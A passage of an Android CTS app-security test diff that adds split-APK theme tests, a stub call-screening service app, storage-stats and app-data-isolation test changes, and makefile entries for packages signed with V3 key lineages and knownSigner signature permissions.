+                .equals(FEATURE_WARM_EMPTY_SERVICE_NAME))).isTrue();
+
+        // Provider with split name `feature_warm` could be found
+        resolveInfoList = pm.queryIntentContentProviders(intent, 0);
+        assertThat(resolveInfoList.stream().anyMatch(resolveInfo -> getComponentName(resolveInfo)
+                .equals(FEATURE_WARM_EMPTY_PROVIDER_NAME))).isTrue();
+
+        // And assert that we spun up the provider in this process
+        final Class<?> provider = Class.forName(FEATURE_WARM_EMPTY_PROVIDER_NAME.getClassName());
+        final Field field = provider.getDeclaredField("sCreated");
+        assertThat((boolean) field.get(null)).isTrue();
+    }
+
+    @Test
+    public void launchBaseActivity_withThemeBase_baseApplied() {
+        assertActivityLaunchedAndThemeApplied(BASE_THEME_ACTIVITY, R.style.Theme_Base,
+                ThemeColors.BASE);
+    }
+
+    @Test
+    public void launchBaseActivity_withThemeBaseLt_baseLtApplied() {
+        assertActivityLaunchedAndThemeApplied(BASE_THEME_ACTIVITY, R.style.Theme_Base,
+                ThemeColors.BASE_LT);
+    }
+
+    @Test
+    public void launchBaseActivity_withThemeWarm_warmApplied() {
+        assertActivityLaunchedAndThemeApplied(BASE_THEME_ACTIVITY,
+                resolveResourceId(TestThemeHelper.THEME_WARM), ThemeColors.WARM);
+    }
+
+    @Test
+    public void launchBaseActivity_withThemeWarmLt_warmLtApplied() {
+        assertActivityLaunchedAndThemeApplied(BASE_THEME_ACTIVITY,
+                resolveResourceId(TestThemeHelper.THEME_WARM), ThemeColors.WARM_LT);
+    }
+
+    @Test
+    public void launchWarmActivity_withThemeBase_baseApplied() {
+        assertActivityLaunchedAndThemeApplied(WARM_THEME_ACTIVITY, R.style.Theme_Base,
+                ThemeColors.BASE);
+    }
+
+    @Test
+    public void launchWarmActivity_withThemeBaseLt_baseLtApplied() {
+        assertActivityLaunchedAndThemeApplied(WARM_THEME_ACTIVITY, R.style.Theme_Base,
+                ThemeColors.BASE_LT);
+    }
+
+    @Test
+    public void launchWarmActivity_withThemeWarm_warmApplied() {
+        assertActivityLaunchedAndThemeApplied(WARM_THEME_ACTIVITY,
+                resolveResourceId(TestThemeHelper.THEME_WARM), ThemeColors.WARM);
+    }
+
+    @Test
+    public void launchWarmActivity_withThemeWarmLt_warmLtApplied() {
+        assertActivityLaunchedAndThemeApplied(WARM_THEME_ACTIVITY,
+                resolveResourceId(TestThemeHelper.THEME_WARM), ThemeColors.WARM_LT);
+    }
+
+    @Test
+    public void launchWarmActivity_withThemeRose_roseApplied() {
+        assertActivityLaunchedAndThemeApplied(WARM_THEME_ACTIVITY,
+                resolveResourceId(TestThemeHelper.THEME_ROSE), ThemeColors.ROSE);
+    }
+
+    @Test
+    public void launchWarmActivity_withThemeRoseLt_roseLtApplied() {
+        assertActivityLaunchedAndThemeApplied(WARM_THEME_ACTIVITY,
+                resolveResourceId(TestThemeHelper.THEME_ROSE), ThemeColors.ROSE_LT);
+    }
+
+    @Test
+    public void launchRoseActivity_withThemeWarm_warmApplied() {
+        assertActivityLaunchedAndThemeApplied(ROSE_THEME_ACTIVITY,
+                resolveResourceId(TestThemeHelper.THEME_WARM), ThemeColors.WARM);
+    }
+
+    @Test
+    public void launchRoseActivity_withThemeWarmLt_warmLtApplied() {
+        assertActivityLaunchedAndThemeApplied(ROSE_THEME_ACTIVITY,
+                resolveResourceId(TestThemeHelper.THEME_WARM), ThemeColors.WARM_LT);
+    }
+
+    @Test
+    public void launchRoseActivity_withThemeRose_roseApplied() {
+        assertActivityLaunchedAndThemeApplied(ROSE_THEME_ACTIVITY,
+                resolveResourceId(TestThemeHelper.THEME_ROSE), ThemeColors.ROSE);
+    }
+
+    @Test
+    public void launchRoseActivity_withThemeRoseLt_roseLtApplied() {
+        assertActivityLaunchedAndThemeApplied(ROSE_THEME_ACTIVITY,
+                resolveResourceId(TestThemeHelper.THEME_ROSE), ThemeColors.ROSE_LT);
+    }
+
+    private void assertActivityLaunchedAndThemeApplied(String activityName, int themeResId,
+            ThemeColors themeColors) {
+        final Activity activity = mActivityRule.launchActivity(
+                getTestThemeIntent(activityName, themeResId));
+        final TestThemeHelper expected = new TestThemeHelper(activity, themeResId);
+        expected.assertThemeValues(themeColors);
+        expected.assertThemeApplied(activity);
+    }
+
+    private static Context getContext() {
+        return InstrumentationRegistry.getInstrumentation().getTargetContext();
+    }
+
     private static void updateDpi(Resources r, int densityDpi) {
         final Configuration c = new Configuration(r.getConfiguration());
         c.densityDpi = densityDpi;
@@ -616,4 +1008,34 @@
             is.close();
         }
     }
+
+    private int resolveResourceId(String nameOfIdentifier) {
+        final int resId = getContext().getResources().getIdentifier(nameOfIdentifier, null, null);
+        assertTrue("Resource not found: " + nameOfIdentifier, resId != 0);
+        return resId;
+    }
+
+    private static Intent getTestThemeIntent(String activityName, int themeResId) {
+        final Intent intent = new Intent(ThemeActivity.INTENT_THEME_TEST);
+        intent.setComponent(ComponentName.createRelative(PKG, activityName));
+        intent.putExtra(ThemeActivity.EXTRAS_THEME_RES_ID, themeResId);
+        return intent;
+    }
+
+    private static ComponentName getComponentName(ResolveInfo resolveInfo) {
+        final ComponentInfo componentInfo = resolveInfo.activityInfo != null
+                ? resolveInfo.activityInfo : resolveInfo.serviceInfo != null
+                ? resolveInfo.serviceInfo : resolveInfo.providerInfo;
+        if (componentInfo == null) {
+            throw new AssertionError("Missing ComponentInfo in the ResolveInfo!");
+        }
+        return new ComponentName(componentInfo.packageName, componentInfo.name);
+    }
+
+    private static void setAppLinksUserSelection(String packageName, String uriHostName,
+            boolean enabled) {
+        final String cmd = String.format("pm set-app-links-user-selection --user cur --package "
+                + "%s %b %s", packageName, enabled, uriHostName);
+        SystemUtil.runShellCommand(cmd);
+    }
 }
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/src/com/android/cts/splitapp/TestThemeHelper.java b/hostsidetests/appsecurity/test-apps/SplitApp/src/com/android/cts/splitapp/TestThemeHelper.java
new file mode 100644
index 0000000..8eba5cd
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/src/com/android/cts/splitapp/TestThemeHelper.java
@@ -0,0 +1,172 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.splitapp;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.junit.Assert.fail;
+
+import android.app.Activity;
+import android.content.Context;
+import android.content.res.Resources;
+import android.content.res.TypedArray;
+import android.graphics.drawable.ColorDrawable;
+import android.graphics.drawable.Drawable;
+import android.view.ContextThemeWrapper;
+import android.view.View;
+import android.view.Window;
+import android.widget.LinearLayout;
+
+/**
+ * A helper class to retrieve theme values of Theme_Base and Theme_Warm and Theme_Rose.
+ */
+public class TestThemeHelper {
+
+    public static final String THEME_WARM =
+            "com.android.cts.splitapp.feature_warm:style/Theme_Warm";
+    public static final String THEME_ROSE =
+            "com.android.cts.splitapp.feature_rose:style/Theme_Rose";
+
+    public enum ThemeColors {
+        BASE,
+        BASE_LT,
+        WARM,
+        WARM_LT,
+        ROSE,
+        ROSE_LT
+    };
+
+    private static final int COLOR_BLUE = 0xFF0000FF;
+    private static final int COLOR_TEAL = 0xFF008080;
+    private static final int COLOR_AQUA = 0xFF00FFFF;
+    private static final int COLOR_BLUE_LT = 0xFFADD8E6;
+    private static final int COLOR_TEAL_LT = 0xFFE0F0F0;
+    private static final int COLOR_AQUA_LT = 0xFFE0FFFF;
+    private static final int COLOR_RED = 0xFFFF0000;
+    private static final int COLOR_YELLOW = 0xFFFFFF00;
+    private static final int COLOR_RED_LT = 0xFFFFCCCB;
+    private static final int COLOR_ORANGE_LT = 0xFFFED8B1;
+    private static final int COLOR_PINK = 0xFFFFC0CB;
+    private static final int COLOR_RUBY = 0xFFCC0080;
+    private static final int COLOR_PINK_LT = 0xFFFFB6C1;
+    private static final int COLOR_ROSE_LT = 0xFFFF66CC;
+
+    private static final int[] THEME_BASE_COLORS = {COLOR_BLUE, COLOR_TEAL, COLOR_AQUA};
+    private static final int[] THEME_BASE_LT_COLORS = {COLOR_BLUE_LT, COLOR_TEAL_LT, COLOR_AQUA_LT};
+    private static final int[] THEME_WARM_COLORS = {COLOR_RED, COLOR_TEAL, COLOR_YELLOW};
+    private static final int[] THEME_WARM_LT_COLORS =
+            {COLOR_RED_LT, COLOR_ORANGE_LT, COLOR_AQUA_LT};
+    private static final int[] THEME_ROSE_COLORS = {COLOR_PINK, COLOR_TEAL, COLOR_RUBY};
+    private static final int[] THEME_ROSE_LT_COLORS = {COLOR_PINK_LT, COLOR_ROSE_LT, COLOR_AQUA_LT};
+
+    /** {@link com.android.cts.splitapp.R.attr.customColor} */
+    private final int mCustomColor;
+
+    /** {#link android.R.attr.colorBackground} */
+    private final int mColorBackground;
+
+    /** {#link android.R.attr.navigationBarColor} */
+    private final int mNavigationBarColor;
+
+    /** {#link android.R.attr.statusBarColor} */
+    private final int mStatusBarColor;
+
+    /** {#link android.R.attr.windowBackground} */
+    private final int mWindowBackground;
+
+    public TestThemeHelper(Context context, int themeResId) {
+        final Resources.Theme theme = new ContextThemeWrapper(context, themeResId).getTheme();
+        mCustomColor = getColor(theme, R.attr.customColor);
+        mColorBackground = getColor(theme, android.R.attr.colorBackground);
+        mNavigationBarColor = getColor(theme, android.R.attr.navigationBarColor);
+        mStatusBarColor = getColor(theme, android.R.attr.statusBarColor);
+        mWindowBackground = getDrawableColor(theme, android.R.attr.windowBackground);
+    }
+
+    public void assertThemeValues(ThemeColors themeColors) {
+        final int[] colors = getThemeColors(themeColors);
+        assertThat(themeColors).isNotNull();
+        assertThat(mCustomColor).isEqualTo(colors[0]);
+        assertThat(mNavigationBarColor).isEqualTo(colors[1]);
+        assertThat(mStatusBarColor).isEqualTo(colors[2]);
+        assertThat(mWindowBackground).isEqualTo(mCustomColor);
+    }
+
+    private int[] getThemeColors(ThemeColors themeColors) {
+        switch (themeColors) {
+            case BASE: return THEME_BASE_COLORS;
+            case BASE_LT: return THEME_BASE_LT_COLORS;
+            case WARM: return THEME_WARM_COLORS;
+            case WARM_LT: return THEME_WARM_LT_COLORS;
+            case ROSE: return THEME_ROSE_COLORS;
+            case ROSE_LT: return THEME_ROSE_LT_COLORS;
+            default:
+                break;
+        }
+        return null;
+    }
+
+    public void assertThemeApplied(Activity activity) {
+        assertLayoutBGColor(activity, mCustomColor);
+
+        final Window window = activity.getWindow();
+        assertThat(window.getStatusBarColor()).isEqualTo(mStatusBarColor);
+        assertThat(window.getNavigationBarColor()).isEqualTo(mNavigationBarColor);
+        assertDrawableColor(window.getDecorView().getBackground(), mWindowBackground);
+
+        assertTextViewBGColor(activity);
+    }
+
+    private int getColor(Resources.Theme theme, int resourceId) {
+        final TypedArray ta = theme.obtainStyledAttributes(new int[] {resourceId});
+        final int color = ta.getColor(0, 0);
+        ta.recycle();
+        return color;
+    }
+
+    private int getDrawableColor(Resources.Theme theme, int resourceId) {
+        final TypedArray ta = theme.obtainStyledAttributes(new int[] {resourceId});
+        final Drawable color = ta.getDrawable(0);
+        ta.recycle();
+        if (!(color instanceof ColorDrawable)) {
+            fail("Can't get drawable color");
+        }
+        return ((ColorDrawable) color).getColor();
+    }
+
+    private void assertLayoutBGColor(Activity activity, int expected) {
+        final LinearLayout layout = activity.findViewById(R.id.content);
+        final Drawable background = layout.getBackground();
+        assertDrawableColor(background, expected);
+    }
+
+    private void assertDrawableColor(Drawable drawable, int expected) {
+        int color = 0;
+        if (drawable instanceof ColorDrawable) {
+            color = ((ColorDrawable) drawable).getColor();
+        } else {
+            fail("Can't get drawable color");
+        }
+        assertThat(color).isEqualTo(expected);
+    }
+
+    private void assertTextViewBGColor(Activity activity) {
+        final View view = activity.findViewById(R.id.text);
+        final Drawable background = view.getBackground();
+        assertDrawableColor(background, mColorBackground);
+    }
+}
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/src/com/android/cts/splitapp/ThemeActivity.java b/hostsidetests/appsecurity/test-apps/SplitApp/src/com/android/cts/splitapp/ThemeActivity.java
new file mode 100644
index 0000000..3931a55
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/src/com/android/cts/splitapp/ThemeActivity.java
@@ -0,0 +1,35 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.splitapp;
+
+import android.app.Activity;
+import android.content.Intent;
+import android.os.Bundle;
+
+public class ThemeActivity extends Activity {
+    static final String INTENT_THEME_TEST = "com.android.cts.splitapp.intent.THEME_TEST";
+    static final String EXTRAS_THEME_RES_ID = "com.android.cts.splitapp.intent.extra.THEME_RES_ID";
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        final Intent intent = getIntent();
+        final int themeResId = intent.getIntExtra(EXTRAS_THEME_RES_ID, R.style.Theme_Base);
+        setTheme(themeResId);
+        setContentView(R.layout.base_linearlayout);
+    }
+}
diff --git a/hostsidetests/appsecurity/test-apps/StatsdSecurityApp/Android.bp b/hostsidetests/appsecurity/test-apps/StatsdSecurityApp/Android.bp
new file mode 100644
index 0000000..bf101d7
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/StatsdSecurityApp/Android.bp
@@ -0,0 +1,33 @@
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test_helper_app {
+    name: "CtsStatsSecurityApp",
+    defaults: ["cts_support_defaults"],
+    srcs: ["src/**/*.java"],
+    platform_apis: true,
+    min_sdk_version: "28",
+    static_libs: [
+        "androidx.test.rules",
+    ],
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+}
diff --git a/hostsidetests/appsecurity/test-apps/StatsdSecurityApp/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/StatsdSecurityApp/AndroidManifest.xml
new file mode 100644
index 0000000..133e07f
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/StatsdSecurityApp/AndroidManifest.xml
@@ -0,0 +1,30 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2020 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          package="com.android.cts.statsdsecurityapp">
+    <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/>
+    <application android:label="StatsdSecurityApp">
+        <service android:name=".DummyCallscreeningService"
+                 android:permission="android.permission.BIND_SCREENING_SERVICE"
+                 android:exported="true">
+            <intent-filter>
+                <action android:name="android.telecom.CallScreeningService"/>
+            </intent-filter>
+        </service>
+    </application>
+</manifest>
diff --git a/hostsidetests/appsecurity/test-apps/StatsdSecurityApp/src/com/android/cts/statsdsecurityapp/DummyCallscreeningService.java b/hostsidetests/appsecurity/test-apps/StatsdSecurityApp/src/com/android/cts/statsdsecurityapp/DummyCallscreeningService.java
new file mode 100644
index 0000000..3a1142f
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/StatsdSecurityApp/src/com/android/cts/statsdsecurityapp/DummyCallscreeningService.java
@@ -0,0 +1,28 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.statsdsecurityapp;
+
+import android.annotation.NonNull;
+import android.telecom.Call;
+import android.telecom.CallScreeningService;
+
+public class DummyCallscreeningService extends CallScreeningService {
+    @Override
+    public void onScreenCall(@NonNull Call.Details callDetails) {
+
+    }
+}
diff --git a/hostsidetests/appsecurity/test-apps/StorageApp/src/com/android/cts/storageapp/Utils.java b/hostsidetests/appsecurity/test-apps/StorageApp/src/com/android/cts/storageapp/Utils.java
index 46ca3ae..6a04c09 100644
--- a/hostsidetests/appsecurity/test-apps/StorageApp/src/com/android/cts/storageapp/Utils.java
+++ b/hostsidetests/appsecurity/test-apps/StorageApp/src/com/android/cts/storageapp/Utils.java
@@ -145,9 +145,7 @@
         for (File f : files) {
             if (f.isDirectory()) {
                 if (excludeObb && f.getName().equalsIgnoreCase("obb")
-                        && f.getParentFile().getName().equalsIgnoreCase("Android")
-                        && !f.getParentFile().getParentFile().getParentFile().getName()
-                                .equalsIgnoreCase("sandbox")) {
+                        && f.getParentFile().getName().equalsIgnoreCase("Android")) {
                     Log.d(TAG, "Ignoring OBB directory " + f);
                 } else {
                     size += getSizeManual(f, excludeObb);
diff --git a/hostsidetests/appsecurity/test-apps/StorageStatsApp/src/com/android/cts/storagestatsapp/StorageStatsTest.java b/hostsidetests/appsecurity/test-apps/StorageStatsApp/src/com/android/cts/storagestatsapp/StorageStatsTest.java
index af75c90..3bfa0ec 100644
--- a/hostsidetests/appsecurity/test-apps/StorageStatsApp/src/com/android/cts/storagestatsapp/StorageStatsTest.java
+++ b/hostsidetests/appsecurity/test-apps/StorageStatsApp/src/com/android/cts/storagestatsapp/StorageStatsTest.java
@@ -19,6 +19,7 @@
 import static android.os.storage.StorageManager.UUID_DEFAULT;
 
 import static com.android.cts.storageapp.Utils.CACHE_ALL;
+import static com.android.cts.storageapp.Utils.CACHE_EXT;
 import static com.android.cts.storageapp.Utils.CODE_ALL;
 import static com.android.cts.storageapp.Utils.DATA_ALL;
 import static com.android.cts.storageapp.Utils.MB_IN_BYTES;
@@ -80,7 +81,7 @@
      * option are enabled.
      */
     public void testVerify() throws Exception {
-        if (Build.VERSION.FIRST_SDK_INT >= Build.VERSION_CODES.P) {
+        if (Build.VERSION.DEVICE_INITIAL_SDK_INT >= Build.VERSION_CODES.P) {
             final StorageStatsManager stats = getContext()
                     .getSystemService(StorageStatsManager.class);
             assertTrue("Devices that first ship with P or newer must enable quotas to "
@@ -130,6 +131,12 @@
         final long deltaCache = CACHE_ALL;
         assertMostlyEquals(deltaCache, afterApp.getCacheBytes() - beforeApp.getCacheBytes());
         assertMostlyEquals(deltaCache, afterUser.getCacheBytes() - beforeUser.getCacheBytes());
+
+        final long deltaExternalCache = CACHE_EXT;
+        assertMostlyEquals(deltaExternalCache,
+                afterApp.getExternalCacheBytes() - beforeApp.getExternalCacheBytes());
+        assertMostlyEquals(deltaExternalCache,
+                afterUser.getExternalCacheBytes() - beforeUser.getExternalCacheBytes());
     }
 
     public void testVerifyStatsMultiple() throws Exception {
@@ -296,6 +303,8 @@
         final long targetB = doAllocateProvider(PKG_B, 2.0, 1420070400);
         final long totalAllocated = targetA + targetB;
 
+        MediaStore.waitForIdle(getContext().getContentResolver());
+
         // Apps using up some cache space shouldn't change how much we can
         // allocate, or how much we think is free; but it should decrease real
         // disk space.
diff --git a/hostsidetests/appsecurity/test-apps/WriteExternalStorageApp/Android.bp b/hostsidetests/appsecurity/test-apps/WriteExternalStorageApp/Android.bp
index fa03865..2744c6f 100644
--- a/hostsidetests/appsecurity/test-apps/WriteExternalStorageApp/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/WriteExternalStorageApp/Android.bp
@@ -22,6 +22,7 @@
     sdk_version: "test_current",
     static_libs: [
         "CtsWriteExternalStorageWriteGiftLib",
+        "androidx.appcompat_appcompat",
         "androidx.test.rules",
         "compatibility-device-util-axt",
     ],
diff --git a/hostsidetests/appsecurity/test-apps/WriteExternalStorageApp/TEST_MAPPING b/hostsidetests/appsecurity/test-apps/WriteExternalStorageApp/TEST_MAPPING
new file mode 100644
index 0000000..b08a98e
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/WriteExternalStorageApp/TEST_MAPPING
@@ -0,0 +1,13 @@
+{
+    "presubmit-large": [
+        {
+            "name": "CtsAppSecurityHostTestCases",
+            "options": [
+                {
+                    "include-filter": "android.appsecurity.cts.ExternalStorageHostTest"
+                }
+            ]
+        }
+    ]
+}
+
diff --git a/hostsidetests/appsecurity/test-apps/WriteExternalStorageApp/src/com/android/cts/writeexternalstorageapp/WriteExternalStorageTest.java b/hostsidetests/appsecurity/test-apps/WriteExternalStorageApp/src/com/android/cts/writeexternalstorageapp/WriteExternalStorageTest.java
index 827b440..64a9cbc 100644
--- a/hostsidetests/appsecurity/test-apps/WriteExternalStorageApp/src/com/android/cts/writeexternalstorageapp/WriteExternalStorageTest.java
+++ b/hostsidetests/appsecurity/test-apps/WriteExternalStorageApp/src/com/android/cts/writeexternalstorageapp/WriteExternalStorageTest.java
@@ -16,6 +16,8 @@
 
 package com.android.cts.writeexternalstorageapp;
 
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+
 import static com.android.cts.externalstorageapp.CommonExternalStorageTest.TAG;
 import static com.android.cts.externalstorageapp.CommonExternalStorageTest.assertDirNoWriteAccess;
 import static com.android.cts.externalstorageapp.CommonExternalStorageTest.assertDirReadWriteAccess;
@@ -32,15 +34,18 @@
 import android.os.Environment;
 import android.os.ParcelFileDescriptor;
 import android.provider.MediaStore;
+import android.support.test.uiautomator.UiDevice;
 import android.system.Os;
 import android.test.AndroidTestCase;
 import android.util.Log;
 
+import androidx.core.os.BuildCompat;
 import com.android.cts.externalstorageapp.CommonExternalStorageTest;
 
 import java.io.File;
 import java.io.FileInputStream;
 import java.io.FileOutputStream;
+import java.io.IOException;
 import java.util.List;
 import java.util.Random;
 
@@ -259,10 +264,21 @@
         }
     }
 
+    private boolean isFuseDataIsolationIsEnabled() throws IOException {
+        return UiDevice.getInstance(getInstrumentation()).executeShellCommand(
+                "getprop persist.sys.vold_app_data_isolation_enabled").trim().equals("true");
+    }
+
     /**
      * Verify that .nomedia is created correctly.
      */
     public void testVerifyNoMediaCreated() throws Exception {
+        boolean expectNoMediaFileExists = true;
+        if (BuildCompat.isAtLeastS() && isFuseDataIsolationIsEnabled()) {
+            // All package specific paths will be in app's mount namespace, and it cannot
+            // access its parent to check .nomedia file.
+            expectNoMediaFileExists = false;
+        }
         for (File file : getAllPackageSpecificPathsExceptMedia(getContext())) {
             deleteContents(file);
         }
@@ -290,9 +306,12 @@
                 path = path.getParentFile();
             }
 
-            if (!found) {
+            if (expectNoMediaFileExists && !found) {
                 fail("Missing .nomedia file above package-specific directory " + start
                         + "; gave up at " + path);
+            } else if (!expectNoMediaFileExists && found) {
+                fail(".nomedia file should not be exists due to app data isolation, but found " +
+                    " in package-specific directory " + start + "; gave up at " + path);
             }
         }
     }
@@ -309,6 +328,7 @@
 
         final String userId = Integer.toString(android.os.Process.myUid() / 100000);
         final List<File> mountPaths = getMountPaths();
+        final String packageName = getContext().getPackageName();
         for (File path : mountPaths) {
             // Mount points could be multi-user aware, so try probing both top
             // level and user-specific directory.
@@ -326,6 +346,11 @@
                             || path.getAbsolutePath().endsWith("/Android/obb")) {
                         assertDirNoWriteAccess(path);
                     } else {
+                        if (path.getAbsolutePath().endsWith(packageName)) {
+                            // It's package's own obb / data dir, it's not a normal mount point
+                            // and we don't need to check the access.
+                            continue;
+                        }
                         assertDirReadWriteAccess(path);
                         assertDirReadWriteAccess(buildCommonChildDirs(path));
                     }
diff --git a/hostsidetests/appsecurity/test-apps/stubime/Android.bp b/hostsidetests/appsecurity/test-apps/stubime/Android.bp
index 62be701..15fc232 100644
--- a/hostsidetests/appsecurity/test-apps/stubime/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/stubime/Android.bp
@@ -28,6 +28,7 @@
         "cts",
         "general-tests",
         "mts",
+        "sts",
     ],
     certificate: ":cts-testkey1",
     optimize: {
diff --git a/hostsidetests/appsecurity/test-apps/tinyapp/Android.mk b/hostsidetests/appsecurity/test-apps/tinyapp/Android.mk
index 400eeeb..e5dfaf4 100644
--- a/hostsidetests/appsecurity/test-apps/tinyapp/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/tinyapp/Android.mk
@@ -122,7 +122,7 @@
 include $(BUILD_CTS_SUPPORT_PACKAGE)
 
 # This is the first companion package signed using the V3 signature scheme
-# # with a rotated key and part of a sharedUid but without the signing lineage.
+# with a rotated key and part of a sharedUid but without the signing lineage.
 # This app is intended to test lineage scenarios where an app is only signed
 # with the latest key in the lineage.
 include $(LOCAL_PATH)/base.mk
@@ -139,5 +139,114 @@
 LOCAL_CERTIFICATE := $(cert_dir)/ec-p256
 include $(BUILD_CTS_SUPPORT_PACKAGE)
 
+# This is a version of the test package that declares a signature permission.
+# The lineage used to sign this test package does not trust the first signing
+# key but grants default capabilities to the second signing key.
+include $(LOCAL_PATH)/base.mk
+LOCAL_PACKAGE_NAME := v3-ec-p256-with-por_1_2_3-1-no-caps-2-default-declperm
+LOCAL_MANIFEST_FILE := AndroidManifest-declperm.xml
+LOCAL_CERTIFICATE := $(cert_dir)/ec-p256_3
+LOCAL_ADDITIONAL_CERTIFICATES := $(cert_dir)/ec-p256
+LOCAL_CERTIFICATE_LINEAGE := $(cert_dir)/ec-p256-por-1_2_3-1-no-caps-2-default
+include $(BUILD_CTS_SUPPORT_PACKAGE)
+
+# This is a version of the test package that declares a signature permission.
+# The lineage used to sign this test package does not trust either of the signing
+# keys so an app with only common signers in the lineage should not be granted the
+# permission.
+include $(LOCAL_PATH)/base.mk
+LOCAL_PACKAGE_NAME := v3-ec-p256-with-por_1_2_3-no-caps-declperm
+LOCAL_MANIFEST_FILE := AndroidManifest-declperm.xml
+LOCAL_CERTIFICATE := $(cert_dir)/ec-p256_3
+LOCAL_ADDITIONAL_CERTIFICATES := $(cert_dir)/ec-p256
+LOCAL_CERTIFICATE_LINEAGE := $(cert_dir)/ec-p256-por-1_2_3-no-caps
+include $(BUILD_CTS_SUPPORT_PACKAGE)
+
+# This is a version of the companion package that requests the signature permission
+# declared by the test package above. This package is signed with a signing key that
+# diverges from the package above and is intended to verify that a common signing
+# key in the lineage that is still granted the permission capability is sufficient
+# to be granted a signature permission.
+include $(LOCAL_PATH)/base.mk
+LOCAL_PACKAGE_NAME := v3-ec-p256-with-por_1_2_4-companion-usesperm
+LOCAL_MANIFEST_FILE := AndroidManifest-companion-usesperm.xml
+LOCAL_CERTIFICATE := $(cert_dir)/ec-p256_4
+LOCAL_ADDITIONAL_CERTIFICATES := $(cert_dir)/ec-p256
+LOCAL_CERTIFICATE_LINEAGE := $(cert_dir)/ec-p256-por-1_2_4-default-caps
+include $(BUILD_CTS_SUPPORT_PACKAGE)
+
+# This is a version of the test package that declares a signature permission
+# with the knownSigner protection flag. This app is signed with the rsa-2048
+# signing key with the trusted certificates being ec-p256 and ec-p256_3.
+include $(LOCAL_PATH)/base.mk
+LOCAL_PACKAGE_NAME := v3-rsa-2048-decl-knownSigner-ec-p256-1-3
+LOCAL_MANIFEST_FILE := AndroidManifest-decl-knownSigner.xml
+LOCAL_CERTIFICATE := $(cert_dir)/rsa-2048
+include $(BUILD_CTS_SUPPORT_PACKAGE)
+
+# This is a version of the test package that declares a signature permission
+# without the knownSigner protection flag. This app is signed with the same
+# rsa-2048 signing key to allow updates from the package above. This app can
+# be used to verify behavior when an app initially uses the knownSigner flag
+# and subsequently removes the flag from the permission declaration.
+include $(LOCAL_PATH)/base.mk
+LOCAL_PACKAGE_NAME := v3-rsa-2048-declperm
+LOCAL_MANIFEST_FILE := AndroidManifest-declperm.xml
+LOCAL_CERTIFICATE := $(cert_dir)/rsa-2048
+include $(BUILD_CTS_SUPPORT_PACKAGE)
+
+# This is a version of the test package that declares a signature permission
+# with the knownSigner protection flag using a string resource instead of a
+# string-array resource for the trusted certs.
+include $(LOCAL_PATH)/base.mk
+LOCAL_PACKAGE_NAME := v3-rsa-2048-decl-knownSigner-str-res-ec-p256-1
+LOCAL_MANIFEST_FILE := AndroidManifest-decl-knownSigner-str-res.xml
+LOCAL_CERTIFICATE := $(cert_dir)/rsa-2048
+include $(BUILD_CTS_SUPPORT_PACKAGE)
+
+# This is a version of the test package that declares a signature permission
+# with the knownSigner protection flag using a string constant as the value
+# of the knownCerts attribute.
